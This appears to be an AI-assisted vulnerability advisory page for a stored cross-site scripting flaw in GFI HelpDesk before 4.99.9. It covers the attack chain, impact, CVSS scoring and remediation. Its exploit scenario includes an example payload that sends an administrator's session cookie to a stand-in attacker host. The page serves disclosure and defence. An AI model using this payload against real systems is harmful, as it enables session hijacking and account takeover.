Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconCompromise or obtain staff credentials
-
DeliveryAccess helpdesk and create ticket
-
ExploitEdit ticket subject with XSS payload
-
InstallBypass SanitizeForXSS() method
-
C2Inject malicious JavaScript
-
ExecuteTarget staff/admin views ticket
-
ImpactScript executes in victim's browser
-
Step 8Steal session or escalate privileges
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires an authenticated staff member account with permission to edit ticket subject fields (the standard GFI HelpDesk staff role). The attacker must craft a malicious POST request to the editsubject endpoint containing JavaScript that bypasses the incomplete SanitizeForXSS() function - specific bypass techniques depend on how the method filters input, which is not detailed in available documentation. A victim (another staff member or administrator) must subsequently view the ticket containing the injected payload, causing the JavaScript to execute in their browser. No special non-default configuration is required; the vulnerability is present in default GFI HelpDesk installations. The vulnerability is limited to authenticated users (PR:L requires valid staff credentials) and requires user interaction (UI:P - viewing the ticket), meaning mass automated exploitation is not feasible. The injection point is specifically the editsubject POST parameter in the Controller_Ticket.EditSubmit() function. |
| Impact | This vulnerability presents moderate real-world risk constrained by multiple factors. The CVSS 6.4 score reflects network accessibility and low attack complexity, but the requirement for authenticated staff credentials (PR:L) and user interaction (UI:P - victims must view the malicious ticket) significantly limits practical exploitability. The CVSS vector indicates high impact to system integrity (SI:H) and confidentiality (SC:H), meaning successful exploitation can compromise helpdesk operations and staff member sessions. However, the attack requires an insider threat or compromised staff account, reducing the attacker population substantially compared to unauthenticated network attacks. The presence of a vendor-released patch and the stored nature of the XSS (allowing targeted attacks against high-value targets like administrators) suggests this is a real priority for organizations relying on GFI HelpDesk, particularly those with high-privilege staff, but not an emergency requiring emergency patching in all environments. Organizations with mature change management can prioritize this within normal patching cycles. The incomplete SanitizeForXSS() method indicates insufficient input validation depth, a pattern often indicative of other similar flaws in the same codebase. |
| Exploit ScenarioDerived | A disgruntled helpdesk staff member with valid credentials creates a support ticket, then edits the subject line to inject a JavaScript payload such as '<img src=x onerror="fetch('http://attacker.com/steal?cookie='+document.cookie)">'. When an administrator reviews the ticket, the payload executes in the administrator's browser context, stealing the administrator's session cookie and allowing the attacker to impersonate the administrator account. Alternatively, a compromised low-privilege staff account could be used to inject XSS targeting other staff members to harvest their credentials or redirect them to a phishing page. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 20, 2026
GFI HelpDesk before version 4.99.9 allows authenticated staff members to inject persistent JavaScript into ticket subject fields via inadequate sanitization in the editsubject POST parameter, enabling arbitrary script execution when other staff or administrators view affected tickets. The vulnerability impacts confidentiality and integrity within the application's scope, with exploitation confirmed possible but requiring valid staff credentials and user interaction (viewing the malicious ticket). Patch version 4.99.9 or later is available from the vendor.
RemediationAI
Upgrade GFI HelpDesk to version 4.99.9 or later immediately to obtain the vendor-released patch that corrects the inadequate sanitization in the editsubject parameter handling. The patch is available from GFI's official product release page at https://gfi.ai/products-and-solutions/email-and-messaging-solutions/helpdesk/resources/product-releases. For organizations unable to upgrade immediately, implement the following compensating controls: (1) Restrict the ability to edit ticket subjects to senior administrators only by adjusting role-based access control in GFI HelpDesk settings, though this degrades helpdesk workflow efficiency; (2) Review audit logs for suspicious editsubject modifications and manually inspect tickets edited by staff members with elevated privileges for malicious script tags before opening them in a browser; (3) Implement Content Security Policy (CSP) headers at the web server level to restrict inline script execution, which may interfere with legitimate helpdesk functionality and requires testing before deployment. None of these workarounds fully eliminate the vulnerability - patching is the definitive remediation.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This is a stored cross-site scripting (CWE-79) vulnerability in the GFI HelpDesk ticket management system. The vulnerability exists in the Controller_Ticket.EditSubmit() function, which processes POST requests for the editsubject parameter without properly sanitizing user input before storage in the database. While the application implements a SanitizeForXSS() method, it fails to adequately filter malicious JavaScript payloads, allowing authenticated users to bypass the incomplete sanitization routine. When other staff members or administrators subsequently retrieve and display the affected ticket, the injected JavaScript executes in their browsers with their authentication context, potentially allowing session hijacking, credential theft, or unauthorized actions within the helpdesk system.
Know when Helpdesk gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:H/SI:H/SA:H
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
3DescriptionCVE.org
GFI HelpDesk before 4.99.9 contains a stored cross-site scripting vulnerability in the ticket subject field that allows authenticated staff members to inject malicious JavaScript by manipulating the editsubject POST parameter. Attackers can inject XSS payloads through inadequate sanitization in Controller_Ticket.EditSubmit() that bypass the incomplete SanitizeForXSS() method to execute arbitrary JavaScript when other staff members or administrators view the affected ticket.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
SQL injection in Frappe HelpDesk 1.14.0 dashboard functionality allows authenticated attackers to execute arbitrary SQL
Command injection vulnerability in Helpdesk versions 1.1.21 and earlier in QNAP QTS 4.2.6 build 20180531, QTS 4.3.3 buil
Unauthenticated actors can post ticket replies in Faveo Helpdesk versions 2.0.0 through 2.0.3 by sending crafted request
The documentation component in i-net Clear Reports 16.0 to 19.2, HelpDesk 8.0 to 8.3, and PDFC 4.3 to 6.2 allows a remot
An improper access control vulnerability has been reported to affect QNAP NAS. Rated high severity (CVSS 8.8), this vuln
Vision Helpdesk before 5.7.0 (patched in 5.6.10) allows attackers to read user profiles via modified serialized cookie d
An improper certificate validation vulnerability has been reported to affect Helpdesk. Rated high severity (CVSS 7.7), t
This improper access control vulnerability in Helpdesk allows attackers to get control of QNAP Kayako service. Rated med
Path traversal in Faveo Helpdesk versions 2.0.0 through 2.0.3 enables remote authenticated administrators to delete arbi
Stored cross-site scripting in GFI HelpDesk before version 4.99.9 allows authenticated staff members to inject arbitrary
Stored cross-site scripting in GFI HelpDesk before version 4.99.10 allows authenticated attackers to inject arbitrary Ja
GFI HelpDesk before version 4.99.9 contains a stored cross-site scripting vulnerability in language management where the
EUVD-2026-23910
GHSA-rf6c-2qc7-c945
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB